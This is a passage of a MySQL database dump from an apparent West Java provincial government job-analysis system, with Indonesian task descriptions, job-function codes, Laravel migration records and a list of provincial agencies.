(16, 4, 'g. Menyelenggarakan pengkajian bahan dan pelaksanaan Sistem Pengendalian Internal Pemerintahan (SPIP);', '1)	Menerima permohonan data di bidang organisasi\r\n2)	Berkoordinasi dengan setiap bagian di lingkungan Biro Organisasi terkait informasi yang dibutuhkan\r\n3)	Melaksanakan kajian dan menetapkan data di bidang organisasi untuk disampaikan melalui Sistem Pengendalian Internal Pemerintahan (SPIP)', '2018-12-11 08:04:04', '2018-12-11 08:04:04'),
(17, 4, 'h. Menyelenggarakan koordinasi dan fasilitasi tindak lanjut Laporan Hasil Pemeriksaan lingkup Biro;', '1)	Menerima Laporan Hasil Pemeriksaan lingkup Biro Organisasi\r\n2)	Melaksanakan koordinasi dengan Bagian di Lingkungan Biro Organisasi\r\n3)	Menetapkan arah tindak lanjut Laporan Hasil Pemeriksaan lingkup Biro Organisasi', '2018-12-11 08:04:04', '2018-12-11 08:04:04'),
(18, 5, 'TES', 'TES', '2018-12-11 16:11:43', '2018-12-11 16:11:43'),
(19, 6, 'Merumuskan kebijakan operasional Badan Kesatuan Bangsa dan Politik Provinsi Jawa Barat;', NULL, '2018-12-11 18:03:09', '2018-12-11 18:03:09'),
(20, 7, NULL, NULL, '2018-12-11 18:11:45', '2018-12-11 18:11:45'),
(21, 7, NULL, NULL, '2018-12-11 18:11:45', '2018-12-11 18:11:45'),
(22, 8, 'Merencanakan program Sektretariat sebagai pedoman dalam pelaksanaan tugas;', NULL, '2018-12-11 18:14:27', '2018-12-11 18:14:27'),
(23, 9, 'Kegiatan bidang ketenagakerjaan dan ketransmigrasian', '1.	Menyelenggarakan urusan pemerintahan provinsi di bidang Ketenagakerjaan dan Ketransmigrasian, meliputi bidang pelatihan dan produktivitas, bidang penempatan, perluasan tenaga kerja dan transmigrasi, bidang hubungan industrial dan jaminan sosial, dan bidang pengawasan ketenagakerjaan;\r\n2.	Menyelenggarakan koordinasi pelaksanaan urusan pemerintahan provinsi di bidang Ketenagakerjaan dan Ketransmigrasian;\r\n3.	Menyelenggarakan pembinaan dan pengendalian, pelaksanaan urusan pemerintahan provinsi di bidang Ketenagakerjaan dan Ketransmigrasian;\r\n4.	Menyelenggarakan koordinasi, pembinaan dan fasilitasi pelaksanaan urusan pemerintahan provinsi di bidang Ketenagakerjaan dan Ketransmigrasian;\r\n5.	Menyelenggarakan pengendalian, pemantauan dan evalusi pelaksanaan urusan pemerintahan provinsi di bidang Ketenagakerjaan dan Ketransmigrasian;\r\n6.	Menyelenggarakan koordinasi dan kerjasama dengan instansi pemerintah, swasta dan lembaga terkait lainnya, dalam dan luar negeri di bidang Ketenagakerjaan dan Ketransmigrasian;\r\n7.	Menyelenggarakan fasilitasi pelaksanaan tugas pokok dan fungsi kesekretariatan, bidang pelatihan dan produktivitas, bidang penempatan perluasan tenaga kerja dan transmigrasi, bidang pembinaan hubungan industrial dan jaminan sosial dan bidang pembinaan pengawasan ketenagakerjaan serta UPTD;', '2018-12-11 18:24:15', '2018-12-11 18:24:15'),
(24, 10, '1', '1a', '2018-12-11 18:56:14', '2018-12-11 18:56:14'),
(25, 10, '2', '2a', '2018-12-11 18:56:14', '2018-12-11 18:56:14'),
(26, 11, '1.	menyelenggarakan koordinasi pelaksanaan urusan pemerintahan Provinsi di bidang pemberdayaan perempuan dan perlindungan anak serta pengendalian penduduk dan keluarga berencana', NULL, '2018-12-11 18:56:35', '2018-12-11 18:56:35'),
(27, 11, '2.	menyelenggarakan pembinaan, pengawasan dan pengendalian teknis pelaksanaan urusan pemerintahan Provinsi di bidang pemberdayaan perempuan dan perlindungan anak serta pengendalian penduduk dan keluarga berencana', NULL, '2018-12-11 18:56:35', '2018-12-11 18:56:35'),
(28, 11, '3.	menyelenggarakan monitoring di bidang pemberdayaan perempuan dan perlindungan anak serta pengendalian penduduk dan keluarga berencana', NULL, '2018-12-11 18:56:35', '2018-12-11 18:56:35'),
(29, 11, '4.	menyelenggarakan kerjasama dengan Instansi Pemerintah, Swasta dan Lembaga terkait lainnya, dalam dan luar negeri di bidang pemberdayaan perempuan dan perlindungan anak serta pengendalian penduduk dan keluarga berencana', NULL, '2018-12-11 18:56:35', '2018-12-11 18:56:35'),
(30, 12, NULL, NULL, '2018-12-11 18:58:11', '2018-12-11 18:58:11'),
(31, 13, '1', NULL, '2018-12-11 18:58:43', '2018-12-11 18:58:43'),
(32, 14, 'Penyelenggaraan koordinasi pemerintahan dan pembangunan di wilayah kerjanya dan penyelenggaraan fasilitasi pemerintahan dan pembangunan di wilayah kerjanya', 'Menyelenggarakan pembinaan dan mengendalikan pelaksanaan tugas pkok dan fungsi badan', '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(33, 14, 'Penyelenggaraan koordinasi, fasilitasi dan pemantauan penyelenggaraan pemilihan umum di wilayah kerjanya', 'Menyelenggarakan koordinasi, fasilitasi dan pemantauan penyelenggaraan pemilihan umum di wilayah kerjanya', '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(34, 14, 'Penyelenggaraan perumusan dan penetapan Rencana Strategis dan Laporan Akuntabilitas Kinerja Instansi Pemerintah, LPPD, dan LKPJ Badan', 'Menyelenggaraan perumusan dan penetapan Rencana Strategis dan Laporan Akuntabilitas Kinerja Instansi Pemerintah, LPPD, dan LKPJ Badan', '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(35, 14, 'Penyelenggaraan koordinasi,fasilitasi dan pelaporan, pemasukan pajak bumi dan bangunan (PBB) serta Bea Perolehan Hak Atas Tanah dan Bangunan (BPHTB)', NULL, '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(36, 14, NULL, NULL, '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(37, 14, NULL, NULL, '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(38, 14, NULL, NULL, '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(39, 14, NULL, NULL, '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(40, 14, NULL, NULL, '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(41, 15, '1.', '1.', '2018-12-11 19:46:35', '2018-12-11 19:46:35'),
(42, 16, 'Menyelenggarakan koordinasi dan fasilitasi Tindak Lanjut Laporan Hasil Pemeriksaan lingkup Badan', '- Koordinasi Tindak Lanjut Laporan Hasil Pemeriksaan Lingkup Badan\r\n- Fasilitasi Tindak Lanjut Laporan Hasil Pemeriksaan Lingkup Badan', '2018-12-11 19:54:27', '2018-12-11 19:54:27'),
(43, 16, NULL, NULL, '2018-12-11 19:54:27', '2018-12-11 19:54:27'),
(44, 18, 'Menyelenggarakan perumusan kebijakan teknis di bidang pertanian sub urusan perkebunan', '1.	Merumuskan kebijakan teknis di bidang pertanian sub urusan perkebunan', '2018-12-11 20:17:01', '2018-12-11 20:17:01'),
(45, 18, 'Menyelenggarakan urusan pemerintahan provinsi di bidang pertanian sub urusan perkebunan, meliputi produksi perkebunan, sumber daya perkebunan, pengembangan dan perlindungan perkebunan, pengolahan, pemasaran dan usaha perkebunan, sekretariat', '1. Menyelenggarakan urusan pemerintahan provinsi di bidang pertanian sub urusan perkebunan, bidang produksi perkebunan, \r\n2. Menyelenggarakan urusan pemerintahan provinsi di bidang pertanian sub urusan perkebunan, bidang sumber daya perkebunan, \r\n3. Menyelenggarakan urusan pemerintahan provinsi di bidang pertanian sub urusan perkebunan, bidang pengembangan dan perlindungan perkebunan, \r\n4. Menyelenggarakan urusan pemerintahan provinsi di bidang pertanian sub urusan perkebunan, bidang pengolahan, pemasaran dan usaha perkebunan, \r\n5. Menyelenggarakan urusan pemerintahan provinsi di bidang pertanian sub urusan perkebunan, pada sekretariat', '2018-12-11 20:17:01', '2018-12-11 20:17:01'),
(46, 18, 'Menyelenggarakan koordinasi pelaksanaan urusan pemerintahan provinsi di bidang pertanian sub urusan perkebunan', 'Mengkoordinasikan pelaksanaan urusan pemerintahan provinsi di bidang pertanian sub urusan perkebunan', '2018-12-11 20:17:01', '2018-12-11 20:17:01'),
(47, 18, 'Menyelenggarakan pembinaan dan pengendalian, pelaksanaan urusan pemerintahan provinsi di bidang pertanian sub urusan perkebunan', '1. Membina dan pengendalian, pelaksanaan urusan pemerintahan provinsi di bidang pertanian sub urusan perkebunan <br>\r\n2. Mengendalikan pelaksanaan urusan pemerintahan provinsi di bidang pertanian sub urusan perkebunan', '2018-12-11 20:17:01', '2019-01-31 07:04:18'),
(48, 19, '1. Menyelenggarakan perumusan kebijakan teknis di bidang ketahanan pangan dan peternakan', '1.', '2018-12-11 20:22:37', '2018-12-11 20:22:37'),
(49, 19, '2. menyelenggarakan koordinasi pengelolaan di bidang ketahanan pangan dan peternakan', '1.', '2018-12-11 20:22:37', '2018-12-11 20:22:37'),
(50, 19, '3. menyelenggarakan pembinaan, pengawasan dan pengendalian teknis pelaksanaan urusan pemerintahan Provinsi di bidang pangan dan peternakan', '1.', '2018-12-11 20:22:37', '2018-12-11 20:22:37'),
(51, 19, '4. menyelenggarakan fasilitasi ketahanan pangan dan peternakan, meliputi ketersediaan dan distribusi, konsumsi dan pengembangan sumber daya manusia, produksi peternakan serta kesehatan hewan dan kesehatan masyarakat veteriner', NULL, '2018-12-11 20:22:37', '2018-12-11 20:22:37'),
(52, 19, '5. menyelenggarakan monitoring di bidang ketahanan pangan dan peternakan', NULL, '2018-12-11 20:22:37', '2018-12-11 20:22:37'),
(53, 19, '6. menyelenggarakan kerjasama dengan Instansi Pemerintah, Swasta dan Lembaga terkait lainnya dalam dan luar negeri di bidang ketahanan pangan dan peternakan', NULL, '2018-12-11 20:22:37', '2018-12-11 20:22:37'),
(54, 20, 'Penyelenggaraan evaluasi dan pelaporan Satuan Polisi Pamong Praja', 'Menyelenggarakan perumusan dan penetapan program kerja Satuan Polisi Pamong Praja', '2018-12-11 20:27:44', '2018-12-11 20:27:44'),
(55, 21, NULL, NULL, '2018-12-11 20:57:34', '2018-12-11 20:57:34'),
(56, 22, 'a.	menyelenggarakan perumusan dan penetapan program kerja Badan', 'mempersipakan bahan rumusan', '2018-12-11 20:58:30', '2018-12-11 20:58:30'),
(57, 22, 'b.	menyelenggarakan perumusan kebijakan teknis fungsi penunjang pelaksanaan urusan pemerintahan yang menjadi kewenangan Daerah Provinsi di bidang pengembangan sumber daya manusia sesuai dengan ketentuan perundang-undangan yang berlaku', 'rapat pimpinan', '2018-12-11 20:58:30', '2018-12-11 20:58:30'),
(58, 23, 'Menyelenggarakan perumusan kebijakan teknis bidang dinas', '1. Mempelajari laporan pelaksanaan kegiatan di lingkungan Dinas Sosial; \r\n2. Mengidentifikasi kesesuaian pelaksanaan kegiatan dengan program kegiatan;\r\n3. Menjelaskan perbandingan antara kondisi pelaksanaan kegiatan dengan program kegiatan yang diharapkan,\r\n4. Menghimpun masukan atau kendala yang dilakukan atau dialami dalam pelaksanaan kegiatan;\r\n5. Memberikan arahan sesuai hasil evaluasi kegiatan;', '2018-12-19 00:33:34', '2018-12-19 00:33:34'),
(59, 23, 'Menyelenggarakan urusan Pemerintahan Daerah provinsi bidang sosial, meliputi perlindungan dan jaminan sosial, penanganan fakir miskin, rehabilitasi sosial, pemberdayaan sosial serta kesekretariatan.', '1. Merumuskan kebijakan;\r\n2. Mengklasifikasikan;\r\n3. Memberikan rekomendasi penyelenggaraan kegiatan;\r\n4. Menetapkan penyelenggaraan kegiatan.', '2018-12-19 00:33:34', '2018-12-19 00:33:34'),
(60, 23, 'Menyelenggarakan koordinasi pelaksanaan urusan pemerintahaan Daerah Provinsi Bidang Sosial.', '1. Menetapkan agenda pelaksanaan program kegiatan;Menetapkan susunan personal penunjang pelaksanaan program kegiatan;\r\n2. Menjelaskan perbandingan antara kondisi pelaksanaan kegiatan dengan program kegiatan yang diharapkan,\r\n3. Menghimpun masukan atau kendala yang dilakukan atau dialami dalam pelaksanaan kegiatan;\r\n4. Melaksanakan program kegiatan sebagai penanggung jawab;', '2018-12-19 00:33:34', '2018-12-19 00:33:34'),
(61, 24, 'a.	Menyelenggarakan pengkajian kebijakan teknis dan aspek legal Perencanaan Pembangunan Daerah', '1)	Menyelenggarakan rapat badan dalam melakukan pengkajian dan penelaahan kebijakan-kebijakan teknis dan aspek legal yang terkait dengan \r\n        perencanaan pembangunan Daerah;\r\n2)	Menyelenggarakan telaahan staf sebagai bahan pertimbangan pengambilan keputusan perencanaan pembangunan Daerah;\r\n3)	Melakukan pengkajian dan penelaahan draf hasil telaahan Sekretaris, Kabid, Kasubbid/Kasubbag dan staf  terkait kebijakan teknis dan aspek legal \r\n        perencanaan pembangunan berdasarkan perundang-undangan;\r\n4)	Mengkomunikasikan hasil telaahan melalui konsolidasi dan desiminasi kepada Sekretaris Daerah.', '2018-12-26 06:19:17', '2018-12-26 06:19:17'),
(62, 24, 'b.	Menyelenggarakan perencanaan, pelaksanaan, evaluasi dan pelaporan program/kegiatan Badan', '1)	Menyelenggarakan konsolidasi dan pengarahan internal Badan untuk melakukan perencanaan kegiatan tahunan, jadwal tentatif kegiatan, \r\n        SDM yang terlibat, pihak-pihak yang terlibat, penerima manfaat, sumber data dalam penyusunan rencana dan program/kegiatan Badan\r\n        sesuai dengan peraturan perundang-undangan yang berlaku;\r\n2)	Melaksanakan rapat internal rutin dalam perencanaan, pelaksanaan, evaluasi dan pelaporan terkait dengan pelaksanaan kegiatan Badan;\r\n3)	Melaksanakan pengkajian dan penelaahan terhadap pelaksanaan dan pelaporan program/kegiatan Badan;\r\n4)	Melaksanakan evaluasi administrasi program/kegiatan internal Badan;\r\n5)	Melaksanakan evaluasi dan pelaporan capaian akhir program/kegiatan Badan.', '2018-12-26 06:19:17', '2018-12-26 06:19:17'),
(63, 24, 'c.	Menyelenggarakan koordinasi, pembinaan, fasilitasi dan pengendalian perencanaan pembangunan mitra Bappeda.', '1)	Melaksanakan rapat koordinasi, sinergitas, pembinaan dan fasilitasi dalam perencanaan pembangunan mitra bappeda;\r\n2)	Melaksanakan pengkajian dan penelaahan perencanaan pembangunan mitra', '2018-12-26 06:19:17', '2018-12-26 06:19:17');

-- --------------------------------------------------------

--
-- Table structure for table `job_functions`
--

CREATE TABLE `job_functions` (
  `id` int(10) UNSIGNED NOT NULL,
  `kode` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `description` text COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `job_functions`
--

INSERT INTO `job_functions` (`id`, `kode`, `description`, `created_at`, `updated_at`) VALUES
(1, 'D0 = Memadukan data', 'Menyatukan atau memadukan hasil analisis data untuk menemukan fakta menyusun karangan atau mengembangakan konsep, pengetahuan, interpretasi, menciptakan \r\n gagasan dengan menggunakan imajinasi', '2018-09-16 21:14:42', '2018-10-17 20:19:39'),
(2, 'D1 = Mengkoordinasikan data', 'Menentukan waktu, tempat atau urutan operasi yang akan dilaksanakan atau tindakan yang harus diambil berdasarkan hasil analisa data, melaksanakan ketentuan atau melaporkan kejadian dengan cara menghubung-hubungkan mencari kaitan serta membandingkan data setelah data tersebut dianalisa', '2018-10-17 20:25:37', '2018-10-17 23:31:47'),
(3, 'D2 = Menganalisis data', 'Mempelajari, mengurai, merinci dan menilai data untuk mendapatkan kejelasan, atau menyajikan tindakan alternatif', '2018-10-17 23:31:36', '2018-10-17 23:31:55'),
(4, 'D3 = Menyusun data', 'Mengerjakan, menghimpun atau mengelompokan tentang data, orang atau benda', '2018-10-17 23:32:50', '2018-10-17 23:32:58'),
(5, 'D4 = Menghitung data', 'Mengerjakan perhitungan aritmatik, (tambah, kurang, bagi) mencacah tidak termasuk dalam.', '2018-10-17 23:34:49', '2018-10-17 23:34:49'),
(6, 'D5 = Menyalin data', 'Menyalin, mencatat atau memindahkan data', '2018-10-17 23:35:31', '2018-10-17 23:35:31'),
(7, 'D6 = Membandingkan data', 'Mengidentifikasi persamaan atau perbedaan sifat-sifat data, orang atau benda yang dapat diamati secara langsung, serta secara fisik dan sedikit sekali memerlukan upaya mental', '2018-10-17 23:37:47', '2018-10-17 23:37:47'),
(8, 'O0 = Menasehati', 'Memberi bimbingan saran, konsultasi atau nasehat kepada perorangan atau instansi dalam pemecahan masalah berdasarkan disiplin ilmu, siritual, atau prinsip - prinsip keahlian lainnya.', '2018-10-17 23:40:29', '2018-10-17 23:40:29'),
(9, 'O1 = Berunding', 'Menyelesaikan masalah tukar menukar dan beradu pendapat, argumen, gagasan dengan pihak lain membuat keputusan', '2018-10-17 23:43:52', '2018-10-17 23:43:52'),
(10, 'O2 = Mengajar', 'Melatih orang lain dengan memberikan penjelasan, peragaan, bimbingan teknis atau memberikan rekomendasi atas dasar disiplin yang bersifat teknis', '2018-10-17 23:54:22', '2018-10-17 23:54:22'),
(11, 'O3 = Menyelia', 'Menentukan atau menafsirkan prosedur kerja, membagi tugas, menciptakan dan memelihara hubungan yang harmonis diantara bawahan dan meningkatkan efisiensi', '2018-10-17 23:57:54', '2018-10-17 23:57:54'),
(12, 'O4 = Menghibur', 'Menghibur orang lain, biasanya menggunakan media panggung, film, televisi dan radio', '2018-10-17 23:59:15', '2018-10-17 23:59:15'),
(13, 'O5 = mempengaruhi', 'Mempengaruhi orang lain untuk memperoleh kauntungan dalam benda, jasa atau pendapat', '2018-10-18 00:00:01', '2018-10-18 00:00:01'),
(14, 'O6 = Berbicara - memberi tanda', 'Berbicara atau memberi tanda kepada orang lain untuk meminta, memberi informasi atau untuk mendapatkan tanggapan atau reaksi yang sifatnya tidak konseptual', '2018-10-18 00:01:49', '2018-10-18 00:01:49'),
(15, 'O7 = Melayani orang', 'Memenuhi kebutuhan atau permintaan orang lain atau hewan, baik yang dinyatakan atau yang tidak langsung dinyatakan tetap harus dilaksanakan menurut ketentuan. Fungsi ini diperlukan pengetahuan dan keterampilan khusus untuk melaksanakannya', '2018-10-18 00:05:13', '2018-10-18 00:05:13'),
(16, 'O8 = Menerima instruksi', 'Membantu melaksanakan kerja berdasarkan perintah atasan yang tidak memerlukan tanggapan', '2018-10-18 00:06:26', '2018-10-18 00:06:26'),
(17, 'B0 = Memasang mesin', 'Menyesuaikan mesin untuk melakukan suatu pekerjaan tertentu dengan memasang, mengubah komponen-komponennya atau memperbaiki menurut standar.', '2018-10-18 00:08:51', '2018-10-18 00:08:51'),
(18, 'B1 = Mengerjakan Persisi', 'Menggunakan anggota badan atau perkakas untuk mengerjakan, memindahkan, mengarahkan atau menempatkan obyek secara tepat sesuai dengan standar yang telah ditetapkan dengan toleransi yang kecil', '2018-10-18 00:14:48', '2018-10-18 00:14:48'),
(19, 'B2 = Menjalankan - mengontrol mesin', 'Menghidupkan, menyetel, mengatur kerja dan menghentikan mesin serta mengamati berbagai alat petunjuk pada mesin', '2018-10-18 00:19:05', '2018-10-18 00:19:05'),
(20, 'B3 = Mengemudikan / menjalankan mesin', 'Menghidupkan, menghentikan, mengatur jalan mesin atau peralatan yang arahnya harus dikemudikan untuk memproses atau memindahkan benda atau orang dalam fungsi ini mesin sifatnya bergerak atau berjalan', '2018-10-18 00:20:53', '2018-10-18 00:20:53'),
(21, 'B4 = Mengerjakan benda dengan tangan atau perkakas', 'Menggunakan anggota badan, seperangkat alat perkakas tangan atau alat-alat khusus untuk mengerjakan, menggerakan, mengarahkan atau menempatkan benda', '2018-10-18 00:22:19', '2018-10-18 00:22:19'),
(22, 'B5 = Melayani mesin', 'Menghidupkan, menghentikan dan mengamati kerja mesin beserta peralatannya.', '2018-10-18 00:23:22', '2018-10-18 00:23:22'),
(23, 'B6 = Memasukan, mengeluarkan barang ke/dari mesin', 'Menyisipkan, memasukan, mencelupkan atau menempatkan bahan ke dalam atau memindahkan dari mesin, atau dari peralatan otomatis, atau yang dilayani atau yang dioperasikan oleh karyawan-karyawan lainnya', '2018-10-18 00:25:55', '2018-10-18 00:25:55'),
(24, 'B7 = Memegang', 'Menggunakan anggota badan, perkakas tangan atau alat khusus lain dalam mengerjakan, memindahkan atau membawa benda.', '2018-10-18 00:27:05', '2018-10-18 00:27:05');

-- --------------------------------------------------------

--
-- Table structure for table `migrations`
--

CREATE TABLE `migrations` (
  `id` int(10) UNSIGNED NOT NULL,
  `migration` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `batch` int(11) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `migrations`
--

INSERT INTO `migrations` (`id`, `migration`, `batch`) VALUES
(1, '2014_10_11_000000_create_table_level', 1),
(2, '2014_10_12_000000_create_users_table', 1),
(3, '2014_10_12_100000_create_password_resets_table', 1),
(4, '2018_03_16_070730_create_table_modules', 1),
(5, '2018_03_16_070757_create_table_task', 1),
(6, '2018_03_16_070900_create_table_roles', 1),
(7, '2018_08_09_085118_create_table_organization', 1),
(8, '2018_08_09_085341_create_table_position', 1),
(9, '2018_08_09_085600_create_table_subposition', 1),
(10, '2018_08_09_090636_create_table_agency', 1),
(11, '2018_08_09_092021_create_table_employee', 1),
(12, '2018_08_24_013426_create_table_job_analysis', 1),
(13, '2018_08_24_013810_create_table_workload_analysis', 1),
(14, '2018_08_24_013932_create_table_workload_detail', 1),
(15, '2018_09_03_033141_create_table_evaluation', 2),
(16, '2018_09_03_033329_create_table_evaluation_detail', 2),
(17, '2018_09_10_023159_alter_table_position', 3),
(18, '2018_09_10_024018_alter_table_job_analysis', 3),
(19, '2018_09_10_025434_create_job_descriptions_table', 3),
(20, '2018_09_10_025516_create_work_performances_table', 3),
(21, '2018_09_10_025921_create_work_talents_table', 3),
(22, '2018_09_10_025939_create_work_tempraments_table', 3),
(23, '2018_09_10_030001_create_work_interests_table', 3),
(24, '2018_09_10_030028_create_physical_efforts_table', 3),
(25, '2018_09_10_030050_create_job_functions_table', 3),
(26, '2018_09_12_022944_create_factors_table', 4),
(27, '2018_09_12_022952_create_sub_factors_table', 4),
(28, '2018_09_12_222941_alter_table_evaluation', 4),
(29, '2018_10_06_073743_alter_table_job_analysis', 5),
(30, '2018_11_07_101057_create_table_work_results', 6),
(31, '2018_11_07_101251_alter_table_job_analysis', 6),
(32, '2019_01_14_054243_create_table_dic_units', 6),
(33, '2019_01_14_054334_create_table_dic_work_material', 6),
(34, '2019_01_14_054409_create_table_dic_work_tools', 6),
(35, '2019_01_14_090635_alter_table_eval_n_workload', 7),
(36, '2019_01_14_222335_alter_table_jobanalysis_new', 8),
(37, '2019_01_14_222607_create_master_work_material', 8),
(38, '2019_01_14_224037_create_master_work_tool', 8),
(39, '2019_01_14_224137_create_master_responsible', 8),
(40, '2019_01_14_224148_create_master_authority', 8),
(41, '2019_01_14_224210_create_master_correlation', 8),
(42, '2019_01_14_224229_create_master_work_env', 8),
(43, '2019_01_14_224245_create_master_condition', 8);

-- --------------------------------------------------------

--
-- Table structure for table `organization`
--

CREATE TABLE `organization` (
  `organization_id` int(10) UNSIGNED NOT NULL,
  `organization` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `organization`
--

INSERT INTO `organization` (`organization_id`, `organization`, `created_at`, `updated_at`) VALUES
(6, 'Biro Pemerintahan dan Kerjasama', '2018-10-30 20:40:12', '2018-10-30 20:40:12'),
(5, 'Biro Organisasi', '2018-10-18 17:49:55', '2018-10-30 20:40:22'),
(7, 'Biro Hukum dan HAM', '2018-10-30 20:40:58', '2018-10-30 20:40:58'),
(8, 'Biro Pelayanan dan Pengembangan Sosial', '2018-10-30 20:41:21', '2018-12-13 19:47:55'),
(9, 'Biro Sarana Perekonomian Investasi dan BUMD', '2018-10-30 20:41:40', '2018-12-11 18:41:30'),
(10, 'Biro Produksi dan Industri', '2018-10-30 20:41:51', '2018-10-30 20:41:51'),
(11, 'Biro Pengendalian Pembangunan', '2018-10-30 20:42:06', '2018-10-30 20:42:06'),
(12, 'Biro Hubungan Masyarakat dan Protokol', '2018-10-30 20:42:15', '2018-10-30 20:42:15'),
(13, 'Biro Umum', '2018-10-30 20:42:25', '2018-10-30 20:42:25'),
(14, 'Sekretariat DPRD', '2018-10-30 20:42:36', '2018-10-30 20:42:36'),
(15, 'Inspektorat Provinsi Jawa Barat', '2018-10-30 20:42:45', '2018-10-30 20:42:45'),
(16, 'Dinas Pendidikan Provinsi Jawa Barat', '2018-10-30 20:43:07', '2018-12-11 18:15:24'),
(17, 'Dinas Kesehatan Provinsi Jawa Barat', '2018-10-30 20:43:21', '2018-10-30 20:43:21'),
(18, 'Dinas Bina Marga Dan Penataan Ruang Provinsi Jawa Barat', '2018-10-30 20:43:37', '2018-10-30 20:43:37'),
(19, 'Dinas Sumber Daya Air Provinsi Jawa Barat', '2018-10-30 20:43:50', '2018-12-11 17:45:26'),
(20, 'Dinas Perumahan dan Permukiman Provinsi Jawa Barat', '2018-10-30 20:44:04', '2018-10-30 20:44:04'),
(21, 'Satuan Polisi Pamong Praja Provinsi Jawa Barat', '2018-10-30 20:44:20', '2018-12-11 14:41:59'),
(22, 'Dinas Sosial Provinsi Jawa Barat', '2018-10-30 20:44:33', '2018-10-30 20:44:33'),
(23, 'Dinas Pemberdayaan Perempuan perlindungan Anak dan Keluarga Berencana Provinsi Jawa Barat', '2018-10-30 20:44:47', '2018-10-30 20:44:47'),
(24, 'Dinas Lingkungan Hidup Provinsi Jawa Barat', '2018-10-30 20:45:03', '2018-10-30 20:45:03'),
(25, 'Dinas Pemberdayaan Masyarakat dan Desa Provinsi Jawa Barat', '2018-10-30 20:45:17', '2018-10-30 20:45:17'),
(26, 'Dinas Perhubungan Provinsi Jawa Barat', '2018-10-30 20:45:31', '2018-10-30 20:45:31'),
(27, 'Dinas Komunikasi dan Informatika Provinsi Jawa Barat', '2018-10-30 20:45:45', '2018-10-30 20:45:45'),
(28, 'Dinas Koperasi dan Usaha Kecil Provinsi Jawa Barat', '2018-10-30 20:46:02', '2018-10-30 20:46:02'),
(29, 'Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu Provinsi Jawa Barat', '2018-10-30 20:46:16', '2018-12-11 18:48:46'),
(30, 'Dinas Pemuda dan Olahraga Provinsi Jawa Barat', '2018-10-30 20:46:30', '2018-10-30 20:46:30'),
(31, 'Dinas Perpustakaan dan Kearsipan Daerah Provinsi Jawa Barat', '2018-10-30 20:46:46', '2018-10-30 20:46:46'),
(32, 'Dinas Tenaga Kerja dan Transmigrasi Provinsi Jawa Barat', '2018-10-30 20:46:59', '2018-12-11 18:19:17'),
(33, 'Dinas Ketahanan Pangan dan Peternakan Provinsi Jawa Barat', '2018-10-30 20:47:14', '2018-10-30 20:47:14'),
(34, 'Dinas Pariwisata dan Kebudayaan Provinsi Jawa Barat', '2018-10-30 20:47:27', '2018-10-30 20:47:27'),
(35, 'Dinas Kelautan Dan Perikanan Provinsi Jawa Barat', '2018-10-30 20:47:41', '2018-10-30 20:47:41'),
(36, 'Dinas Tanaman Pangan dan Hortikultura Provinsi Jawa Barat', '2018-10-30 20:47:54', '2018-10-30 20:47:54'),
(37, 'Dinas Perkebunan Provinsi Jawa Barat', '2018-10-30 20:48:08', '2018-12-11 17:51:44'),
(38, 'Dinas Kehutanan Provinsi Jawa Barat', '2018-10-30 20:48:21', '2018-10-30 20:48:21'),
(39, 'Dinas Energi dan Sumber Daya Mineral Provinsi Jawa Barat', '2018-10-30 20:48:34', '2018-10-30 20:48:34'),
(40, 'Dinas Perindustrian dan Perdagangan Provinsi Jawa Barat', '2018-10-30 20:48:47', '2018-10-30 20:48:47'),
(41, 'Dinas Kependudukan dan Pencatatan Sipil Provinsi Jawa Barat', '2018-10-30 20:49:00', '2018-10-30 20:49:00'),
(42, 'Badan Perencanaan Pembangunan Daerah Provinsi Jawa Barat', '2018-10-30 20:49:15', '2018-12-11 17:52:26'),
(43, 'Badan Kepegawaian Daerah Provinsi Jawa Barat', '2018-10-30 20:49:28', '2018-10-30 20:49:28'),
(57, 'Badan Pengembangan Sumber Daya Manusia Provinsi Jawa Barat', '2018-12-11 20:42:06', '2018-12-11 20:42:06'),
(45, 'Badan Penelitian dan Pengembangan Daerah Provinsi Jawa Barat', '2018-10-30 20:49:56', '2018-10-30 20:49:56'),
(46, 'Badan Pengelolaan Keuangan dan Aset Daerah Provinsi Jawa Barat', '2018-10-30 20:50:11', '2018-10-30 20:50:11'),
(47, 'Badan Pendapatan Daerah Provinsi Jawa Barat', '2018-10-30 20:50:23', '2018-10-30 20:50:23'),
(48, 'Badan Penghubung Pemerintah Daerah Provinsi Jawa Barat', '2018-10-30 20:50:34', '2018-10-30 20:50:34'),
(49, 'Badan Kesatuan Bangsa dan Politik Provinsi Jawa Barat', '2018-10-30 20:50:51', '2018-10-30 20:50:51'),
(50, 'Badan Penanggulangan Bencana Daerah Provinsi Jawa Barat', '2018-10-30 20:51:17', '2018-12-12 18:42:51'),
(51, 'Badan Koordinasi Pemerintahan dan Pembangunan Wilayah I Provinsi Jawa Barat', '2018-10-30 20:51:30', '2018-12-11 17:48:16'),
(52, 'Badan Koordinasi Pemerintahan dan Pembangunan Wilayah II Provinsi Jawa Barat', '2018-10-30 20:51:52', '2018-10-30 20:51:52'),
(53, 'Badan Koordinasi Pemerintahan dan Pembangunan Wilayah III Provinsi Jawa Barat', '2018-10-30 20:52:06', '2018-10-30 20:52:06'),
(54, 'Badan Koordinasi Pemerintahan dan Pembangunan Wilayah IV Provinsi Jawa Barat', '2018-10-30 20:52:51', '2018-10-30 20:52:51'),
